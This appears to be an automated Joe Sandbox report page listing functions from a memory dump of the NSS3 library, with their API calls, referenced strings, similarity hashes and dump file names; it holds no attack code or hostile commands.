API ID: CriticalSection$ArenaDeleteEnterFinishPoolUnlockValuefree
String ID:
API String ID: 1456478736-0
Opcode ID: b8e19ce5905df4e639d4219c783cd5bbab633daa8e42d53e52c2970e58c0a7ff
Instruction ID: 5e308c5eacb0beb7930e153cccebab3b20ee539967af2f1791d004bc8ea08ba1
Opcode Fuzzy Hash: b8e19ce5905df4e639d4219c783cd5bbab633daa8e42d53e52c2970e58c0a7ff
Instruction Fuzzy Hash: D0113AB2514A059FDB00BF78C68912EBBF8EF05354F054969D88587201EB39E5E6CB92

Function 6BA5AB10 Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(D958E852,6BA61397,5B5F5EC0,?,?,6BA5B1EE,2404110F,?,?), ref: 6BA5AB3C
free.MOZGLUE(D958E836,?,6BA5B1EE,2404110F,?,?), ref: 6BA5AB49
DeleteCriticalSection.KERNEL32(5D5E6BC5), ref: 6BA5AB5C
free.MOZGLUE(5D5E6BB9), ref: 6BA5AB63
DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6BA5AB6F
free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6BA5AB76

Part of subcall function 6BA8F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6BA8F854
Part of subcall function 6BA8F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6BA8F868
Part of subcall function 6BA8F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6BA8F882
Part of subcall function 6BA8F820: free.MOZGLUE(04C483FF,?,?), ref: 6BA8F889
Part of subcall function 6BA8F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6BA8F8A4
Part of subcall function 6BA8F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6BA8F8AB
Part of subcall function 6BA8F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6BA8F8C9
Part of subcall function 6BA8F820: free.MOZGLUE(280F10EC,?,?), ref: 6BA8F8D0

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: 5c51addaa30d62c0d84bce083ce95c06beb2124b58c1a5a09c90fc1a3a57bb90
Instruction ID: 96da82f6d63de97f65495ccf9e8c0d59ed6da38c16d7e024cd187c37aec279c3
Opcode Fuzzy Hash: 5c51addaa30d62c0d84bce083ce95c06beb2124b58c1a5a09c90fc1a3a57bb90
Instruction Fuzzy Hash: 7101B5B2500606ABCE019BB4ED4485B737DEE467357050525E94943500E73BF9A6D7E1

Function 6BAD6840 Relevance: 9.0, APIs: 6, Instructions: 45COMMON

Download Yara Rule

APIs

PR_NewMonitor.NSS3(00000000,?,6BADAA9B,?,?,?,?,?,?,?,00000000,?,6BAD80C1), ref: 6BAD6846

Part of subcall function 6BA31770: calloc.MOZGLUE(00000001,0000019C,?,6BA315C2,?,?,?,?,?,00000001,00000040), ref: 6BA3178D

PR_NewMonitor.NSS3(00000000,?,6BADAA9B,?,?,?,?,?,?,?,00000000,?,6BAD80C1), ref: 6BAD6855

Part of subcall function 6BA98680: calloc.MOZGLUE(00000001,00000028,00000000,-00000001,?,00000000,?,6BA455D0,00000000,00000000), ref: 6BA9868B
Part of subcall function 6BA98680: PR_NewLock.NSS3(00000000,00000000), ref: 6BA986A0
Part of subcall function 6BA98680: PR_NewCondVar.NSS3(00000000,00000000,00000000), ref: 6BA986B2
Part of subcall function 6BA98680: PR_NewCondVar.NSS3(00000000,?,00000000,00000000), ref: 6BA986C8
Part of subcall function 6BA98680: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00000000,00000000), ref: 6BA986E2
Part of subcall function 6BA98680: malloc.MOZGLUE(00000001,?,?,?,00000000,00000000), ref: 6BA986EC
Part of subcall function 6BA98680: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,00000000), ref: 6BA98700

PR_NewMonitor.NSS3(?,6BADAA9B,?,?,?,?,?,?,?,00000000,?,6BAD80C1), ref: 6BAD687D

Part of subcall function 6BA31770: PR_SetError.NSS3(FFFFE890,00000000,?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6BA318DE
Part of subcall function 6BA31770: InitializeCriticalSectionAndSpinCount.KERNEL32(00000020,000005DC,?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6BA318F1

PR_NewMonitor.NSS3(?,6BADAA9B,?,?,?,?,?,?,?,00000000,?,6BAD80C1), ref: 6BAD688C

Part of subcall function 6BA31770: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6BA318FC
Part of subcall function 6BA31770: free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6BA3198A

PR_NewLock.NSS3 ref: 6BAD68A5

Part of subcall function 6BB098D0: calloc.MOZGLUE(00000001,00000084,6BA30936,00000001,?,6BA3102C), ref: 6BB098E5

PR_NewLock.NSS3 ref: 6BAD68B4

Part of subcall function 6BB098D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6BB09946
Part of subcall function 6BB098D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6B9C16B7,00000000), ref: 6BB0994E
Part of subcall function 6BB098D0: free.MOZGLUE(00000000), ref: 6BB0995E

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Monitor$ErrorLockcalloc$CondCountCriticalInitializeLastSectionSpinfree$mallocstrcpystrlen
String ID:
API String ID: 200661885-0
Opcode ID: 289164870b0241f1459d04b869d0ad02f02522978031b45694acd8a1dd060f96
Instruction ID: 01aa316ee66d210bb224d96a3db461ef58cb1ca82648869783253554cbdfec26
Opcode Fuzzy Hash: 289164870b0241f1459d04b869d0ad02f02522978031b45694acd8a1dd060f96
Instruction Fuzzy Hash: FC01FBB1B04B1746EF516F7949113BB76D49F01689F09047D8569CA340EF79D4848FA1

Function 6BAAB920 Relevance: 9.0, APIs: 6, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(0000000C,00000000,FFFFFFFF,?,6BAAAD91), ref: 6BAAB927

Part of subcall function 6BAA0D30: calloc.MOZGLUE ref: 6BAA0D50
Part of subcall function 6BAA0D30: TlsGetValue.KERNEL32 ref: 6BAA0D6D

PORT_ZAlloc_Util.NSS3(00000010), ref: 6BAAB93B
PK11_GenerateRandom.NSS3(00000000,00000010), ref: 6BAAB950

Part of subcall function 6BA93F50: TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6BA7E80C,00000000,00000000,?,?,?,?,6BA88C5B,-00000001), ref: 6BA93FA1
Part of subcall function 6BA93F50: EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6BA7E80C,00000000,00000000,?,?,?,?,6BA88C5B,-00000001), ref: 6BA93FBA
Part of subcall function 6BA93F50: PR_Unlock.NSS3(?,00000000,00000000,00000000,?,6BA7E80C,00000000,00000000,?,?,?,?,6BA88C5B,-00000001), ref: 6BA93FFE
Part of subcall function 6BA93F50: PR_SetError.NSS3 ref: 6BA9401A

PR_SetError.NSS3(FFFFE013,00000000), ref: 6BAAB961
PR_SetError.NSS3(FFFFE013,00000000), ref: 6BAAB96F
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6BAAB97A

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: ErrorUtil$Alloc_Value$CriticalEnterGenerateItem_K11_RandomSectionUnlockZfreecalloc
String ID:
API String ID: 3619055319-0
Opcode ID: f23b25f3f6ad3dee2c2ec0fc4be21a59d8eea69007335c1270049e45527e21e3
Instruction ID: c07552b9ceecabee5bd153b1546c481c1387759ac7a69f233bf4ebb4bf3e6db2
Opcode Fuzzy Hash: f23b25f3f6ad3dee2c2ec0fc4be21a59d8eea69007335c1270049e45527e21e3
Instruction Fuzzy Hash: C3F0BEB2E9021522ED2022B92D43F5A7A884B51B59F440235E91DEB281F74EA09591B7

Function 6BACFB20 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 216COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6BACFC3E

Part of subcall function 6BA98800: TlsGetValue.KERNEL32(?,6BAA085A,00000000,?,6BA48369,?), ref: 6BA98821
Part of subcall function 6BA98800: TlsGetValue.KERNEL32(?,?,6BAA085A,00000000,?,6BA48369,?), ref: 6BA9883D
Part of subcall function 6BA98800: EnterCriticalSection.KERNEL32(?,?,?,6BAA085A,00000000,?,6BA48369,?), ref: 6BA98856
Part of subcall function 6BA98800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6BA98887
Part of subcall function 6BA98800: PR_Unlock.NSS3(?,?,?,?,6BAA085A,00000000,?,6BA48369,?), ref: 6BA98899

PR_SetError.NSS3(FFFFE005,00000000), ref: 6BACFC52
memcpy.VCRUNTIME140(?,-00000079,00000020), ref: 6BACFDDE

Part of subcall function 6BAD5B40: PR_GetIdentitiesLayer.NSS3 ref: 6BAD5B56

memcpy.VCRUNTIME140(?,?,?), ref: 6BACFDFE

Strings

NULL, xrefs: 6BACFC1D

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: ErrorValuememcpy$CondCriticalEnterIdentitiesLayerSectionUnlockWait
String ID: NULL
API String ID: 1852738174-324932091
Opcode ID: 5332f056eef9f72ce3562b44c35e4632f03dc604c683862563baeee92d156421
Instruction ID: 3346914a0a8fa6449245fbcb014d0f99dc61e4c251dae8a5d815a84969af7d6b
Opcode Fuzzy Hash: 5332f056eef9f72ce3562b44c35e4632f03dc604c683862563baeee92d156421
Instruction Fuzzy Hash: 5491AB71E146499FEB20CF29D890BAEB7B1FF48304F00816DE86997351EB39A994CF51

Function 6B9E7AF0 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 123COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(6B9E68C4,?,?,?,?,?,?,?,6B9E68C4,?,?,00000000,?,?), ref: 6B9E7BAE

Strings

database corruption, xrefs: 6B9E7C1D
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6B9E7C13
%s at line %d of [%.10s], xrefs: 6B9E7C22

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: memcpy
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 3510742995-598938438
Opcode ID: b1e08002df7cff5db258a8cbb632a76111a94620c97583fcb301a0122c168844
Instruction ID: 6ff571abc5c945a7b9cdbe0f5d863098ce1f569d1d3b79e536f3ec588e7171bc
Opcode Fuzzy Hash: b1e08002df7cff5db258a8cbb632a76111a94620c97583fcb301a0122c168844
Instruction Fuzzy Hash: F5418975E002198FCB15CFA8C8819AEBBF5FF49310F1540A9E845A7301D338EC42CBA2

Function 6B9D1970 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 116COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(00000000,00000000,?,00000000,?,6B9E60B3), ref: 6B9D199F
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000109DA,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,6B9E60B3), ref: 6B9D1AC9

Strings

database corruption, xrefs: 6B9D1ABD
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6B9D1AB3
%s at line %d of [%.10s], xrefs: 6B9D1AC2

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: memsetsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 3107271255-598938438
Opcode ID: 11eac437ecf09a65f98ba008371c790f036101f894939b6d57291df6659702a6
Instruction ID: 8fcaf939283b339218d19b284fa64d62bd6399ecd27a3ff7e9508b057914dcee
Opcode Fuzzy Hash: 11eac437ecf09a65f98ba008371c790f036101f894939b6d57291df6659702a6
Instruction Fuzzy Hash: 5141A075608B918FC320CF69C490797BBF1BF55308F2486ADC4994B742D376E546CBA1

Function 6B9CB8B0 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 107COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010B2E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,?,?,?,?,?,?,6BAFA4E2), ref: 6B9CB948
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010B19,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?), ref: 6B9CB9BE

Strings

database corruption, xrefs: 6B9CB93C, 6B9CB9B2
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6B9CB932, 6B9CB9A8
%s at line %d of [%.10s], xrefs: 6B9CB941, 6B9CB9B7

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 3bb2e8c29b195f17845ce54e5d9af5bdb9a02faa2495c44214d7c27097341fb7
Instruction ID: bbfec65682ee82f13256ed11af46bb2bb1671bc222c1153cbd15d2f499c16182
Opcode Fuzzy Hash: 3bb2e8c29b195f17845ce54e5d9af5bdb9a02faa2495c44214d7c27097341fb7
Instruction Fuzzy Hash: 4141E030A042589FD704DF29C890F6A7BB5AF45308F5540A8E8599F363E739DC41CBA3

Function 6B9CDB40 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 93COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?,?,?,?), ref: 6B9CDBB8
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011D39,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?), ref: 6B9CDC3D

Strings

database corruption, xrefs: 6B9CDC32
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6B9CDC28
%s at line %d of [%.10s], xrefs: 6B9CDC37

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: memcpysqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 3892320796-598938438
Opcode ID: 6726a5fb1e364d5459b5e7fbfb7448d55b5af28fc34b7175924033f19fb3c3f9
Instruction ID: 855c5bc5bc5cde7fcd9d2d839b3a0b9d2c42cfd130377f579b753cb8112ef07d
Opcode Fuzzy Hash: 6726a5fb1e364d5459b5e7fbfb7448d55b5af28fc34b7175924033f19fb3c3f9
Instruction Fuzzy Hash: C931E7786452948FD320CF28C94097BBBF4BF59314B04869DE8998B743D339E905CBB2

Function 6BA54B00 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 84memoryCOMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(?,?), ref: 6BA54B66
NSS_GetAlgorithmPolicy.NSS3(?,?), ref: 6BA54B7D
PR_SetError.NSS3(FFFFE0B5,00000000), ref: 6BA54B97
PORT_ZAlloc_Util.NSS3(00000018), ref: 6BA54BB7

Part of subcall function 6BAA0D30: calloc.MOZGLUE ref: 6BAA0D50
Part of subcall function 6BAA0D30: TlsGetValue.KERNEL32 ref: 6BAA0D6D

Strings

, xrefs: 6BA54B8A

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: AlgorithmPolicy$Alloc_ErrorUtilValuecalloc
String ID:
API String ID: 4087055539-3916222277
Opcode ID: 6d9a0c443b57c756202e80f774a9cc8b61f28829ef24e615a16b53c517b06179
Instruction ID: 15c545f810d50d8181e63a95e8a558e54d14b402d2b224a805591c29f2f96edd
Opcode Fuzzy Hash: 6d9a0c443b57c756202e80f774a9cc8b61f28829ef24e615a16b53c517b06179
Instruction Fuzzy Hash: 462138B2D0020A5BDF108A699D42BBFBBB4AF80318F150165E96997185FB3497B4C6A2

Function 6BB1A800 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 65COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001,?,?,?,?,?,?,?,?,6B9E7915,?,?), ref: 6BB1A86D
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010800,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,?,?,?,?,6B9E7915,?,?), ref: 6BB1A8A6

Strings

database corruption, xrefs: 6BB1A89B
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6BB1A891
%s at line %d of [%.10s], xrefs: 6BB1A8A0

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: c9bd9178fd310cb62fa145f1180c5ccd8330dffe932223ccf94f428559151a0b
Instruction ID: b5df9e18fb783f7ce1c1e7ed9796bbadf74e5e05df66dbb5fc39287c55adc1aa
Opcode Fuzzy Hash: c9bd9178fd310cb62fa145f1180c5ccd8330dffe932223ccf94f428559151a0b
Instruction Fuzzy Hash: 02113875A04244AFDB149F21DC51A6EB7A6FF49314F008038FC294B281EB39E955CFA2

Function 6BA7CAA0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(NSS_DISABLE_UNLOAD,6BA5B1EE,D958E836,?,6BA951C5), ref: 6BA7CAFA
PR_UnloadLibrary.NSS3(?,6BA951C5), ref: 6BA7CB09
PR_GetEnvSecure.NSS3(NSS_DISABLE_UNLOAD,6BA5B1EE,D958E836,?,6BA951C5), ref: 6BA7CB2C
PR_UnloadLibrary.NSS3(6BA951C5), ref: 6BA7CB3E

Strings

NSS_DISABLE_UNLOAD, xrefs: 6BA7CAF5, 6BA7CB27

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: LibrarySecureUnload
String ID: NSS_DISABLE_UNLOAD
API String ID: 4190191112-1204168554
Opcode ID: f17f3655623f31f795e91bdab9fe6d642cc93057cb590ff320e94f1e4b8edd4e
Instruction ID: cd9ee76cbd79446b22892a9cea31128b79355782714fdceab80e4c148c5be66b
Opcode Fuzzy Hash: f17f3655623f31f795e91bdab9fe6d642cc93057cb590ff320e94f1e4b8edd4e
Instruction Fuzzy Hash: C61190B9D08621ABDF20BB65D846729B3E4FB46B05F08407AE81593140F77AE4D4CBD6

Function 6B9C1A40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6B9C1A4A
PR_SetError.NSS3(FFFFE897,00000000), ref: 6B9C1ABF

Part of subcall function 6BAEC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6BAEC2BF

PR_SetError.NSS3(FFFFE89B,00000000), ref: 6B9C1AD7
PR_LogPrint.NSS3(read -> %d,00000000), ref: 6B9C1AEA

Strings

read -> %d, xrefs: 6B9C1AE5

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: ErrorValue$Print
String ID: read -> %d
API String ID: 1543141660-3490866108
